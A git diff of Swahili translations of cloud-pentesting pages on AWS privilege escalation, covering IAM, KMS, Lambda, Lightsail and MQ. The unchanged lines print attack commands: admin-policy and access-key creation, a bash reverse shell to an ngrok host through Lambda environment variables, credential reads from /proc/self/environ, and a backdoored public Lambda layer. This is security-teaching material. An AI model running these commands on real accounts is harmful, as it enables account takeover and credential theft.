[https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md index 37b8987af..edee28847 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-privesc.md @@ -14,18 +14,18 @@ Kwa maelezo zaidi kuhusu IAM angalia: Inatoa uwezo wa kuunda toleo jipya la sera ya IAM, ikipita hitaji la ruhusa ya `iam:SetDefaultPolicyVersion` kwa kutumia bendera ya `--set-as-default`. Hii inaruhusu kufafanua ruhusa za kawaida. -**Amri ya Kutumia:** +**Amri ya Kutekeleza:** ```bash aws iam create-policy-version --policy-arn \ --policy-document file:///path/to/administrator/policy.json --set-as-default ``` -**Impact:** Inafanya kupandisha haki moja kwa moja kwa kuruhusu hatua yoyote kwenye rasilimali yoyote. +**Madhara:** Inapandisha moja kwa moja mamlaka kwa kuruhusu hatua yoyote kwenye rasilimali yoyote. ### **`iam:SetDefaultPolicyVersion`** -Inaruhusu kubadilisha toleo la kawaida la sera ya IAM kuwa toleo lingine lililopo, ambayo inaweza kuongeza haki ikiwa toleo jipya lina ruhusa zaidi. +Inaruhusu kubadilisha toleo la kawaida la sera ya IAM kuwa toleo lingine lililopo, ambayo inaweza kuongeza mamlaka ikiwa toleo jipya lina ruhusa zaidi. -**Bash Command:** +**Amri ya Bash:** ```bash aws iam set-default-policy-version --policy-arn --version-id v2 ``` @@ -33,7 +33,7 @@ aws iam set-default-policy-version --policy-arn --version-id ### **`iam:CreateAccessKey`** -Inaruhusu kuunda kitambulisho cha ufikiaji na ufunguo wa siri wa ufikiaji kwa mtumiaji mwingine, ikisababisha kuweza kuinua hadhi. +Inaruhusu kuunda kitambulisho cha ufikiaji na funguo za siri za ufikiaji kwa mtumiaji mwingine, ikisababisha kuinuka kwa hadhi. **Kuvunja:** ```bash @@ -43,9 +43,9 @@ aws iam create-access-key --user-name ### **`iam:CreateLoginProfile` | `iam:UpdateLoginProfile`** -Inaruhusu kuunda au kuboresha wasifu wa kuingia, ikiwa ni pamoja na kuweka nywila za kuingia kwenye AWS console, na kusababisha kuinua kibali moja kwa moja. +Inaruhusu kuunda au kuboresha profaili ya kuingia, ikiwa ni pamoja na kuweka nywila za kuingia kwenye AWS console, na kusababisha kuinua kibali moja kwa moja. -**Dhamira ya Uundaji:** +**Dhamira ya Kutumia:** ```bash aws iam create-login-profile --user-name target_user --no-password-reset-required \ --password '' @@ -59,33 +59,33 @@ aws iam update-login-profile --user-name target_user --no-password-reset-require ### **`iam:UpdateAccessKey`** -Inaruhusu kuwezesha ufunguo wa upatikanaji uliozimwa, ambayo inaweza kusababisha ufikiaji usioidhinishwa ikiwa mshambuliaji ana ufunguo uliozimwa. +Inaruhusu kuwezesha ufunguo wa upatikanaji uliozimwa, ambayo inaweza kusababisha upatikanaji usioidhinishwa ikiwa mshambuliaji ana ufunguo uliozimwa. -**Dhamira:** +**Kuvunja:** ```bash aws iam update-access-key --access-key-id --status Active --user-name ``` -**Madhara:** Kuinua kibali moja kwa moja kwa kurejesha funguo za ufikiaji. +**Madhara:** Kuinua hadhi moja kwa moja kwa kurejesha funguo za ufikiaji. ### **`iam:CreateServiceSpecificCredential` | `iam:ResetServiceSpecificCredential`** -Inaruhusu kuunda au kurekebisha ithibati za huduma maalum za AWS (mfano, CodeCommit, Amazon Keyspaces), ikirithi ruhusa za mtumiaji anayehusishwa. +Inaruhusu kuunda au kurekebisha akreditivu za huduma maalum za AWS (kwa mfano, CodeCommit, Amazon Keyspaces), ikirithi ruhusa za mtumiaji anayehusishwa. **Dhamira ya Uundaji:** ```bash aws iam create-service-specific-credential --user-name --service-name ``` -**Kuvunja kwa Upya:** +**Kuvunja kwa Reset:** ```bash aws iam reset-service-specific-credential --service-specific-credential-id ``` -**Madhara:** Kuinua kibali moja kwa moja ndani ya ruhusa za huduma za mtumiaji. +**Madhara:** Kuinua moja kwa moja haki ndani ya ruhusa za huduma za mtumiaji. ### **`iam:AttachUserPolicy` || `iam:AttachGroupPolicy`** -Inaruhusu kuambatisha sera kwa watumiaji au vikundi, kwa moja kwa moja kuinua kibali kwa kurithi ruhusa za sera iliyounganishwa. +Inaruhusu kuambatisha sera kwa watumiaji au vikundi, kwa moja kwa moja kuinua haki kwa kurithi ruhusa za sera iliyounganishwa. -**Dhibiti kwa Mtumiaji:** +**Kuvunja kwa Mtumiaji:** ```bash aws iam attach-user-policy --user-name --policy-arn "" ``` @@ -93,11 +93,11 @@ aws iam attach-user-policy --user-name --policy-arn "" ```bash aws iam attach-group-policy --group-name --policy-arn "" ``` -**Athari:** Kuinua moja kwa moja kwa ruhusa kwa chochote ambacho sera inatoa. +**Madhara:** Kuinua kibali moja kwa moja kwa chochote ambacho sera inaruhusu. ### **`iam:AttachRolePolicy`,** ( `sts:AssumeRole`|`iam:createrole`) | **`iam:PutUserPolicy` | `iam:PutGroupPolicy` | `iam:PutRolePolicy`** -Inaruhusu kuambatisha au kuweka sera kwa majukumu, watumiaji, au vikundi, ikiruhusu kuinua moja kwa moja kwa ruhusa kwa kutoa ruhusa za ziada. +Inaruhusu kuambatisha au kuweka sera kwa majukumu, watumiaji, au vikundi, ikiruhusu kuinua kibali moja kwa moja kwa kutoa ruhusa za ziada. **Kudukua kwa Jukumu:** ```bash @@ -127,17 +127,17 @@ Unaweza kutumia sera kama: ] } ``` -**Madhara:** Kuongeza haki moja kwa moja kwa kuongeza ruhusa kupitia sera. +**Madhara:** Kuongeza kibali moja kwa moja kwa kuongeza ruhusa kupitia sera. ### **`iam:AddUserToGroup`** -Inaruhusu kuongeza mtu mwenyewe kwenye kundi la IAM, ikipandisha haki kwa kurithi ruhusa za kundi. +Inaruhusu kuongeza mtu mwenyewe kwenye kundi la IAM, ikipandisha hadhi kwa kurithi ruhusa za kundi. **Kuvunja:** ```bash aws iam add-user-to-group --group-name --user-name ``` -**Madhara:** Kuinua kibali moja kwa moja hadi kiwango cha ruhusa za kikundi. +**Madhara:** Kuinua moja kwa moja hadhi hadi kiwango cha ruhusa za kundi. ### **`iam:UpdateAssumeRolePolicy`** @@ -148,7 +148,7 @@ Inaruhusu kubadilisha hati ya sera ya kudhani jukumu la jukumu, ikiruhusu kudhan aws iam update-assume-role-policy --role-name \ --policy-document file:///path/to/assume/role/policy.json ``` -Wakati sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu: +Mahali sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua jukumu: ```json { "Version": "2012-10-17", @@ -163,11 +163,11 @@ Wakati sera inaonekana kama ifuatavyo, ambayo inampa mtumiaji ruhusa ya kuchukua ] } ``` -**Madhara:** Kuinua kibali moja kwa moja kwa kudai ruhusa za jukumu lolote. +**Madhara:** Kuinua kibali moja kwa moja kwa kukubali ruhusa za jukumu lolote. ### **`iam:UploadSSHPublicKey` || `iam:DeactivateMFADevice`** -Inaruhusu kupakia funguo za umma za SSH kwa ajili ya uthibitishaji kwenye CodeCommit na kuzima vifaa vya MFA, ikisababisha kuinua kibali kisicho cha moja kwa moja. +Inaruhusu kupakia funguo za umma za SSH kwa ajili ya uthibitishaji kwenye CodeCommit na kuzima vifaa vya MFA, vinavyoweza kusababisha kuinua kibali kisicho moja kwa moja. **Kuvunja kwa Kupakia Funguo za SSH:** ```bash @@ -181,14 +181,14 @@ aws iam deactivate-mfa-device --user-name --serial-number --serial-number \ --authentication-code1 --authentication-code2 ``` -**Madhara:** Kuongeza uwezo wa kupanda hadhi kwa njia isiyo ya moja kwa moja kwa kuongeza au kubadilisha vifaa vya MFA. +**Madhara:** Kuinua hadhi kwa njia isiyo ya moja kwa moja kwa kuongeza au kubadilisha vifaa vya MFA. ### `iam:UpdateSAMLProvider`, `iam:ListSAMLProviders`, (`iam:GetSAMLProvider`) @@ -211,7 +211,7 @@ aws iam update-saml-provider --saml-metadata-document --saml-provider-ar aws iam update-saml-provider --saml-metadata-document --saml-provider-arn ``` > [!NOTE] -> TODO: Chombo kinachoweza kuunda metadata ya SAML na kuingia na jukumu lililotajwa +> TODO: Chombo kinachoweza kuunda metadata ya SAML na kuingia na jukumu lililobainishwa ### `iam:UpdateOpenIDConnectProviderThumbprint`, `iam:ListOpenIDConnectProviders`, (`iam:`**`GetOpenIDConnectProvider`**) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md index e362f4ba9..968128b43 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-kms-privesc.md @@ -49,7 +49,7 @@ policy.json: ``` ### `kms:CreateGrant` -Inaruhusu **mwanahisa kutumia funguo ya KMS:** +Inaruhusu kiongozi kutumia funguo ya KMS: ```bash aws kms create-grant \ --key-id 1234abcd-12ab-34cd-56ef-1234567890ab \ @@ -61,7 +61,7 @@ aws kms create-grant \ > [!WARNING] > Kumbuka kwamba inaweza kuchukua dakika chache kwa KMS **kuruhusu mtumiaji kutumia ufunguo baada ya utoaji kuzalishwa**. Mara muda huo utakapopita, kiongozi anaweza kutumia ufunguo wa KMS bila kuhitaji kubainisha chochote.\ -> Hata hivyo, ikiwa inahitajika kutumia utoaji mara moja [tumia tokeni ya utoaji](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (angalia msimbo ufuatao).\ +> Hata hivyo, ikiwa inahitajika kutumia utoaji mara moja [tumia token ya utoaji](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token) (angalia msimbo ufuatao).\ > Kwa [**maelezo zaidi soma hii**](https://docs.aws.amazon.com/kms/latest/developerguide/grant-manage.html#using-grant-token). ```bash # Use the grant token in a request diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md index 5a964d4c3..75eb9a09f 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lambda-privesc.md @@ -14,7 +14,7 @@ Maelezo zaidi kuhusu lambda katika: Watumiaji wenye ruhusa **`iam:PassRole`, `lambda:CreateFunction`, na `lambda:InvokeFunction`** wanaweza kuongeza mamlaka yao.\ Wanaweza **kuunda kazi mpya ya Lambda na kuipatia jukumu la IAM lililopo**, wakitoa ruhusa zinazohusiana na jukumu hilo kwa kazi hiyo. Mtumiaji anaweza kisha **kuandika na kupakia msimbo kwenye kazi hii ya Lambda (kwa mfano, na rev shell)**.\ -Mara kazi hiyo inapowekwa, mtumiaji anaweza **kuanzisha utekelezaji wake** na vitendo vilivyokusudiwa kwa kuitisha kazi ya Lambda kupitia API ya AWS. Njia hii inaruhusu mtumiaji kufanya kazi kwa njia isiyo ya moja kwa moja kupitia kazi ya Lambda, akifanya kazi kwa kiwango cha ufikiaji kilichotolewa kwa jukumu la IAM lililohusishwa nacho.\\ +Mara kazi hiyo inapowekwa, mtumiaji anaweza **kuanzisha utekelezaji wake** na vitendo vilivyokusudiwa kwa kuitisha kazi ya Lambda kupitia API ya AWS. Njia hii inaruhusu mtumiaji kufanya kazi kwa njia isiyo ya moja kwa moja kupitia kazi ya Lambda, ikifanya kazi kwa kiwango cha ufikiaji kilichotolewa kwa jukumu la IAM lililohusishwa nacho.\\ Mshambuliaji anaweza kutumia hii kupata **rev shell na kuiba token**: ```python:rev.py @@ -58,7 +58,7 @@ PolicyArn='arn:aws:iam::aws:policy/AdministratorAccess' ) return response ``` -Ni pia inawezekana kuvuja akreditivu za jukumu la lambda bila kuhitaji muunganisho wa nje. Hii itakuwa na manufaa kwa **Network isolated Lambdas** zinazotumika kwenye kazi za ndani. Ikiwa kuna vikundi vya usalama visivyojulikana vinavyofanya uchujaji wa shell zako za nyuma, kipande hiki cha msimbo kitakuruhusu kuvuja moja kwa moja akreditivu kama matokeo ya lambda. +Inawezekana pia kuvuja akreditivu za jukumu la lambda bila kuhitaji muunganisho wa nje. Hii itakuwa na manufaa kwa **Lambdas zilizotengwa na Mtandao** zinazotumika kwenye kazi za ndani. Ikiwa kuna vikundi vya usalama visivyojulikana vinavyofanya uchujaji wa shell zako za nyuma, kipande hiki cha msimbo kitakuruhusu kuvuja moja kwa moja akreditivu kama matokeo ya lambda. ```python def handler(event, context): sessiontoken = open('/proc/self/environ', "r").read() @@ -72,10 +72,10 @@ return { aws lambda invoke --function-name output.txt cat output.txt ``` -**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu la huduma ya lambda lililoainishwa. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu la huduma ya lambda lililobainishwa. > [!CAUTION] -> Kumbuka kwamba hata kama inaweza kuonekana kuvutia **`lambda:InvokeAsync`** **haikubali** kwa peke yake **kutekeleza `aws lambda invoke-async`**, unahitaji pia `lambda:InvokeFunction` +> Kumbuka kwamba hata kama inaweza kuonekana kuvutia **`lambda:InvokeAsync`** **haikubali** peke yake **kutekeleza `aws lambda invoke-async`**, unahitaji pia `lambda:InvokeFunction` ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:AddPermission` @@ -130,7 +130,7 @@ aws lambda add-permission --function-name --statement-id asdasd --ac # Invoke the function aws lambda invoke --function-name /tmp/outout ``` -**Madhara Yanayoweza Kutokea:** Privesc ya moja kwa moja kwa jukumu la huduma ya lambda inayotumika kwa kutoa ruhusa ya kubadilisha msimbo na kuendesha. +**Madhara Yanayoweza Kutokea:** Privesc moja kwa moja kwa jukumu la huduma ya lambda kwa kutoa ruhusa ya kubadilisha msimbo na kuutekeleza. ### `lambda:AddLayerVersionPermission` @@ -143,10 +143,10 @@ aws lambda add-layer-version-permission --layer-name ExternalBackdoor --statemen ### `lambda:UpdateFunctionCode` -Watumiaji wanaoshikilia ruhusa ya **`lambda:UpdateFunctionCode`** wana uwezo wa **kubadilisha msimbo wa kazi ya Lambda iliyopo ambayo imeunganishwa na jukumu la IAM.**\ +Watumiaji wenye ruhusa ya **`lambda:UpdateFunctionCode`** wana uwezo wa **kubadilisha msimbo wa kazi ya Lambda iliyopo ambayo imeunganishwa na jukumu la IAM.**\ Mshambuliaji anaweza **kubadilisha msimbo wa lambda ili kuhamasisha akreditivu za IAM**. -Ingawa mshambuliaji huenda hana uwezo wa moja kwa moja wa kuitisha kazi hiyo, ikiwa kazi ya Lambda tayari ipo na inafanya kazi, kuna uwezekano itasababisha kupitia mifumo au matukio yaliyopo, hivyo kusaidia kwa njia isiyo ya moja kwa moja utekelezaji wa msimbo uliobadilishwa. +Ingawa mshambuliaji huenda hana uwezo wa moja kwa moja wa kuitisha kazi hiyo, ikiwa kazi ya Lambda tayari ipo na inafanya kazi, kuna uwezekano kwamba itasababishwa kupitia michakato au matukio yaliyopo, hivyo kusaidia kwa njia isiyo ya moja kwa moja utekelezaji wa msimbo uliobadilishwa. ```bash # The zip should contain the lambda code (trick: Download the current one and add your code there) aws lambda update-function-code --function-name target_function \ @@ -163,7 +163,7 @@ aws lambda invoke --function-name my_function output.txt #### RCE kupitia mabadiliko ya mazingira -Kwa ruhusa hizi inawezekana kuongeza mabadiliko ya mazingira ambayo yatapelekea Lambda kutekeleza msimbo usio na mipaka. Kwa mfano katika python inawezekana kutumia mabadiliko ya mazingira `PYTHONWARNING` na `BROWSER` kufanya mchakato wa python kutekeleza amri zisizo na mipaka: +Kwa ruhusa hizi inawezekana kuongeza mabadiliko ya mazingira ambayo yatapelekea Lambda kutekeleza msimbo usio na mpangilio. Kwa mfano, katika python inawezekana kutumia mabadiliko ya mazingira `PYTHONWARNING` na `BROWSER` kufanya mchakato wa python kutekeleza amri zisizo na mpangilio: ```bash aws --profile none-priv lambda update-function-configuration --function-name --environment "Variables={PYTHONWARNINGS=all:0:antigravity.x:0:0,BROWSER=\"/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18755 0>&1' & #%s\"}" ``` @@ -175,9 +175,9 @@ https://book.hacktricks.xyz/macos-hardening/macos-security-and-privilege-escalat #### RCE kupitia Lambda Layers -[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) inaruhusu kujumuisha **code** katika kazi yako ya lamdba lakini **kuhifadhi kwa tofauti**, hivyo msimbo wa kazi unaweza kubaki mdogo na **kazi kadhaa zinaweza kushiriki msimbo**. +[**Lambda Layers**](https://docs.aws.amazon.com/lambda/latest/dg/configuration-layers.html) inaruhusu kujumuisha **code** katika kazi yako ya lamdba lakini **kuhifadhi kwa tofauti**, hivyo code ya kazi inaweza kubaki ndogo na **kazi kadhaa zinaweza kushiriki code**. -Ndani ya lambda unaweza kuangalia njia ambazo msimbo wa python unaloaded kwa kutumia kazi kama ifuatayo: +Ndani ya lambda unaweza kuangalia njia kutoka ambapo code ya python inapakuliwa kwa kazi kama ifuatayo: ```python import json import sys @@ -208,49 +208,49 @@ Kwa mfano, hebu tuwe na dhana kwamba lambda inatumia maktaba boto3, hii itaunda ```bash pip3 install -t ./lambda_layer boto3 ``` -You can open `./lambda_layer/boto3/__init__.py` and **ongeza backdoor katika msimbo wa kimataifa** (kazi ya kutoa taarifa za kuingia au kupata shell ya kurudi kwa mfano). +Unaweza kufungua `./lambda_layer/boto3/__init__.py` na **kuongeza backdoor katika msimbo wa kimataifa** (kazi ya kutoa taarifa za kuingia au kupata shell ya kurudi kwa mfano). -Then, zip that `./lambda_layer` directory and **pakia tabaka jipya la lambda** katika akaunti yako (au katika ya waathiriwa, lakini huenda usiwe na ruhusa kwa hili).\ -Note that you need to create a python folder and put the libraries in there to override /opt/python/boto3. Also, the layer needs to be **inayofanana na toleo la python** linalotumika na lambda na ikiwa utalipakia kwenye akaunti yako, inahitaji kuwa katika **eneo sawa:** +Kisha, zipa hiyo `./lambda_layer` directory na **pakia layer mpya ya lambda** katika akaunti yako mwenyewe (au katika ya waathirika, lakini huenda usiwe na ruhusa kwa hili).\ +Kumbuka kwamba unahitaji kuunda folda ya python na kuweka maktaba ndani yake ili kubadilisha /opt/python/boto3. Pia, layer inahitaji kuwa **inasadifu na toleo la python** linalotumika na lambda na ikiwa unalipakia kwenye akaunti yako, inahitaji kuwa katika **eneo lile lile:** ```bash aws lambda publish-layer-version --layer-name "boto3" --zip-file file://backdoor.zip --compatible-architectures "x86_64" "arm64" --compatible-runtimes "python3.9" "python3.8" "python3.7" "python3.6" ``` -Sasa, fanya tabaka la lambda lililopakiwa **liweze kufikiwa na akaunti yoyote**: +Sasa, fanya tabaka la lambda lililo pandishwa **liweze kufikiwa na akaunti yoyote**: ```bash aws lambda add-layer-version-permission --layer-name boto3 \ --version-number 1 --statement-id public \ --action lambda:GetLayerVersion --principal * ``` -Na uambatishe safu ya lambda kwenye kazi ya lambda ya mwathiriwa: +Na uambatishe tabaka la lambda kwenye kazi ya lambda ya mwathirika: ```bash aws lambda update-function-configuration \ --function-name \ --layers arn:aws:lambda:::layer:boto3:1 \ --timeout 300 #5min for rev shells ``` -The next step would be to either **invoke the function** ourselves if we can or to wait until **it gets invoked** by normal means–which is the safer method. +Hatua inayofuata itakuwa **kuitisha kazi** sisi wenyewe ikiwa tunaweza au kusubiri hadi **itakapoitishwa** kwa njia za kawaida - ambayo ni njia salama zaidi. -A **more stealth way to exploit this vulnerability** can be found in: +Njia **ya siri zaidi ya kutumia udhaifu huu** inaweza kupatikana katika: {{#ref}} ../aws-persistence/aws-lambda-persistence/aws-lambda-layers-persistence.md {{#endref}} -**Potential Impact:** Direct privesc to the lambda service role used. +**Athari Zinazoweza Kutokea:** Privesc moja kwa moja kwa jukumu la huduma ya lambda inayotumika. ### `iam:PassRole`, `lambda:CreateFunction`, `lambda:CreateFunctionUrlConfig`, `lambda:InvokeFunctionUrl` -Labda na ruhusa hizo unaweza kuunda kazi na kuitekeleza kwa kuita URL... lakini sikuweza kupata njia ya kuijaribu, hivyo nijulishe ukifanya hivyo! +Labda kwa ruhusa hizo unaweza kuunda kazi na kuitekeleza kwa kuita URL... lakini sikuweza kupata njia ya kuijaribu, hivyo nijulishe ikiwa utaweza! ### Lambda MitM -Baadhi ya lambdas zitakuwa **zinapokea taarifa nyeti kutoka kwa watumiaji katika vigezo.** Ikiwa unapata RCE katika moja yao, unaweza kuhamasisha taarifa nyingine watumiaji wanazotuma, angalia katika: +Baadhi ya lambdas zitakuwa **zinapokea taarifa nyeti kutoka kwa watumiaji katika vigezo.** Ikiwa unapata RCE katika moja yao, unaweza kuhamasisha taarifa ambazo watumiaji wengine wanazituma, angalia katika: {{#ref}} ../aws-post-exploitation/aws-lambda-post-exploitation/aws-warm-lambda-persistence.md {{#endref}} -## References +## Marejeleo - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation-part-2/) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md index 830eea638..d15e6d173 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-lightsail-privesc.md @@ -11,7 +11,7 @@ Kwa maelezo zaidi kuhusu Lightsail angalia: {{#endref}} > [!WARNING] -> Ni muhimu kutambua kwamba Lightsail **haitumii majukumu ya IAM yanayomilikiwa na mtumiaji** bali kwa akaunti inayosimamiwa na AWS, hivyo huwezi kutumia huduma hii kwa privesc. Hata hivyo, **data nyeti** kama vile msimbo, funguo za API na taarifa za hifadhidata zinaweza kupatikana katika huduma hii. +> Ni muhimu kutambua kwamba Lightsail **haitumii majukumu ya IAM yanayomilikiwa na mtumiaji** bali kwa akaunti inayosimamiwa na AWS, hivyo huwezi kutumia huduma hii kwa privesc. Hata hivyo, **data nyeti** kama vile msimbo, funguo za API na taarifa za database zinaweza kupatikana katika huduma hii. ### `lightsail:DownloadDefaultKeyPair` @@ -19,7 +19,7 @@ Ruhusa hii itakuruhusu kupata funguo za SSH za kufikia mifano: ``` aws lightsail download-default-key-pair ``` -**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti ndani ya mifano. +**Athari Inayoweza Kutokea:** Pata taarifa nyeti ndani ya mifano. ### `lightsail:GetInstanceAccessDetails` @@ -31,7 +31,7 @@ aws lightsail get-instance-access-details --instance-name ### `lightsail:CreateBucketAccessKey` -Ruhusa hii itakuruhusu kupata ufunguo wa kufikia ndoo: +Ruhusa hii itakuruhusu kupata ufunguo wa kufikia chombo: ```bash aws lightsail create-bucket-access-key --bucket-name ``` @@ -39,7 +39,7 @@ aws lightsail create-bucket-access-key --bucket-name ### `lightsail:GetRelationalDatabaseMasterUserPassword` -Ruhusa hii itakuruhusu kupata akreditif za kufikia database: +Ruhusa hii itakuruhusu kupata akreditivu za kufikia database: ```bash aws lightsail get-relational-database-master-user-password --relational-database-name ``` @@ -51,7 +51,7 @@ Ruhusa hii itakuruhusu kubadilisha nenosiri la kufikia database: ```bash aws lightsail update-relational-database --relational-database-name --master-user-password ``` -Ikiwa hifadhidata si ya umma, unaweza pia kuifanya kuwa ya umma kwa kutumia ruhusa hizi na +Ikiwa hifadhidata si ya umma, unaweza pia kuifanya kuwa ya umma kwa ruhusa hizi na ```bash aws lightsail update-relational-database --relational-database-name --publicly-accessible ``` @@ -79,7 +79,7 @@ aws lightsail put-instance-public-ports \ ### `lightsail:SetResourceAccessForBucket` -Ruhusa hii inaruhusu kutoa upatikanaji wa mifano kwa ndoo bila hati zozote za ziada. +Ruhusa hii inaruhusu kutoa upatikanaji wa mfano kwa ndoo bila hati zozote za ziada. ```bash aws set-resource-access-for-bucket \ --resource-name \ @@ -90,7 +90,7 @@ aws set-resource-access-for-bucket \ ### `lightsail:UpdateBucket` -Kwa ruhusa hii, mshambuliaji anaweza kutoa ufikiaji wa kusoma kwa akaunti yake ya AWS juu ya mifuko au hata kufanya mifuko hiyo kuwa ya umma kwa kila mtu: +Kwa ruhusa hii, mshambuliaji anaweza kutoa upatikanaji wa kusoma kwa akaunti yake ya AWS juu ya mifuko au hata kufanya mifuko hiyo kuwa ya umma kwa kila mtu: ```bash # Grant read access to exterenal account aws update-bucket --bucket-name --readonly-access-accounts @@ -101,17 +101,17 @@ aws update-bucket --bucket-name --access-rules getObject=public,allowPub # Bucket private but single objects can be public aws update-bucket --bucket-name --access-rules getObject=private,allowPublicOverrides=true ``` -**Madhara Yanayoweza Kutokea:** Upatikanaji mpya wa uwezo wa mifuko yenye taarifa nyeti. +**Madhara Yanayoweza Kutokea:** Upatikanaji mpya wa uwezekano wa mifuko yenye taarifa nyeti. ### `lightsail:UpdateContainerService` -Kwa ruhusa hii, mshambuliaji anaweza kutoa ufikiaji wa ECR za kibinafsi kutoka kwa huduma za kontena. +Kwa ruhusa hii, mshambuliaji anaweza kutoa upatikanaji kwa ECRs za kibinafsi kutoka kwa huduma za kontena. ```bash aws update-container-service \ --service-name \ --private-registry-access ecrImagePullerRole={isActive=boolean} ``` -**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti kutoka ECR ya kibinafsi +**Madhara Yanayoweza Kutokea:** Pata taarifa nyeti kutoka ECR ya faragha ### `lightsail:CreateDomainEntry` @@ -125,7 +125,7 @@ aws lightsail create-domain-entry \ ### `lightsail:UpdateDomainEntry` -Mshambuliaji mwenye ruhusa hii anaweza kuunda subdomain na kuielekeza kwenye anwani yake ya IP (kuchukua subdomain), au kuunda rekodi ya SPF inayomruhusu kutuma barua pepe kwa kutumia kikoa hicho, au hata kuweka kikoa kikuu kwenye anwani yake ya IP. +Mshambuliaji mwenye ruhusa hii anaweza kuunda subdomain na kuielekeza kwenye anwani yake ya IP (kuchukua subdomain), au kuunda rekodi ya SPF inayomruhusu kudanganya barua pepe kutoka kwa kikoa, au hata kuweka kikoa kikuu kwenye anwani yake ya IP. ```bash aws lightsail update-domain-entry \ --domain-name example.com \ diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md index 416a924fe..10d8f1130 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mediapackage-privesc.md @@ -14,7 +14,7 @@ Inabadilisha jina la mtumiaji na nenosiri la IngestEndpoint ya kwanza ya Channel ```bash aws mediapackage rotate-ingest-endpoint-credentials --id test --ingest-endpoint-id 584797f1740548c389a273585dd22a63 ``` -## Marejeleo +## Marejeo - [https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a](https://gist.github.com/kmcquade/33860a617e651104d243c324ddf7992a) diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md index 34a0f97d6..528c811b4 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-mq-privesc.md @@ -17,7 +17,7 @@ Kwa ruhusa hizo unaweza **kuunda mtumiaji mpya katika broker ya ActimeMQ** (hii aws mq list-brokers aws mq create-user --broker-id --console-access --password --username ``` -**Madhara Yanayoweza Kutokea:** Upataji wa taarifa nyeti kupitia ActiveMQ +**Madhara Yanayoweza Kutokea:** Upatikanaji wa taarifa nyeti kupitia ActiveMQ ### `mq:ListBrokers`, `mq:ListUsers`, `mq:UpdateUser` @@ -27,17 +27,17 @@ aws mq list-brokers aws mq list-users --broker-id aws mq update-user --broker-id --console-access --password --username ``` -**Madhara Yanayoweza Kutokea:** Upatikanaji wa taarifa nyeti kupitia ActiveMQ +**Madhara Yanayoweza Kutokea:** Kupata taarifa nyeti kwa kuzunguka ActiveMQ ### `mq:ListBrokers`, `mq:UpdateBroker` -Ikiwa broker inatumia **LDAP** kwa ajili ya idhini na **ActiveMQ**. Inawezekana **kubadilisha** **mipangilio** ya seva ya LDAP inayotumika kuwa **moja inayodhibitiwa na mshambuliaji**. Kwa njia hii mshambuliaji ataweza **kuiba nywila zote zinazotumwa kupitia LDAP**. +Ikiwa broker inatumia **LDAP** kwa ajili ya idhini na **ActiveMQ**. Inawezekana **kubadilisha** **mipangilio** ya seva ya LDAP inayotumika kuwa **moja inayodhibitiwa na mshambuliaji**. Kwa njia hii mshambuliaji ataweza **kuiba nyaraka zote zinazotumwa kupitia LDAP**. ```bash aws mq list-brokers aws mq update-broker --broker-id --ldap-server-metadata=... ``` -Ikiwa unaweza kwa namna fulani kupata akreditif za asili zilizotumika na ActiveMQ unaweza kufanya MitM, kuiba akreditif, kuzitumia kwenye seva ya asili, na kutuma jibu (labda kwa kurudia tu akreditif zilizibwa unaweza kufanya hivi). +Ikiwa unaweza kwa namna fulani kupata akiba za awali zilizotumika na ActiveMQ unaweza kufanya MitM, kuiba akiba, kuzitumia kwenye seva ya awali, na kutuma jibu (labda kwa kurudia tu akiba zilizibwa unaweza kufanya hivi). -**Madhara Yanayoweza Kutokea:** Iba akreditif za ActiveMQ +**Athari 